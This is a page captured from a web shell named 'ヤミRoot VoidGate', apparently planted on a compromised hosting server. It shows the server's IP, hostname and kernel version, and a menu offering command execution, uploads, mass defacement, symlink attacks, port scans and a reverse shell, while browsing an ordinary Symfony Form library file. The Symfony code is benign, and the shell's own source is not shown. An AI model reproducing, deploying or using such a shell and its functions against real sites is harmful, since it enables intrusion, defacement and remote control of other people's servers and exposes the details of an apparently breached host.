ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
symfony
/
form
/
ChoiceList
/
Factory
/
Cache
/
Viewing: AbstractStaticOption.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Form\ChoiceList\Factory\Cache; use Symfony\Component\Form\ChoiceList\Factory\CachingFactoryDecorator; use Symfony\Component\Form\ChoiceList\Loader\ChoiceLoaderInterface; use Symfony\Component\Form\Extension\Core\Type\ChoiceType; use Symfony\Component\Form\FormTypeExtensionInterface; use Symfony\Component\Form\FormTypeInterface; /** * A template decorator for static {@see ChoiceType} options. * * Used as fly weight for {@see CachingFactoryDecorator}. * * @internal * * @author Jules Pietri <jules@heahprod.com> */ abstract class AbstractStaticOption { private static $options = []; /** @var bool|callable|string|array|\Closure|ChoiceLoaderInterface */ private $option; /** * @param FormTypeInterface|FormTypeExtensionInterface $formType A form type or type extension configuring a cacheable choice list * @param mixed $option Any pseudo callable, array, string or bool to define a choice list option * @param mixed|null $vary Dynamic data used to compute a unique hash when caching the option */ final public function __construct($formType, $option, $vary = null) { if (!$formType instanceof FormTypeInterface && !$formType instanceof FormTypeExtensionInterface) { throw new \TypeError(sprintf('Expected an instance of "%s" or "%s", but got "%s".', FormTypeInterface::class, FormTypeExtensionInterface::class, get_debug_type($formType))); } $hash = CachingFactoryDecorator::generateHash([static::class, $formType, $vary]); $this->option = self::$options[$hash] ?? self::$options[$hash] = $option; } /** * @return mixed */ final public function getOption() { return $this->option; } final public static function reset(): void { self::$options = []; } }
Coded With 💗 by
0x6ick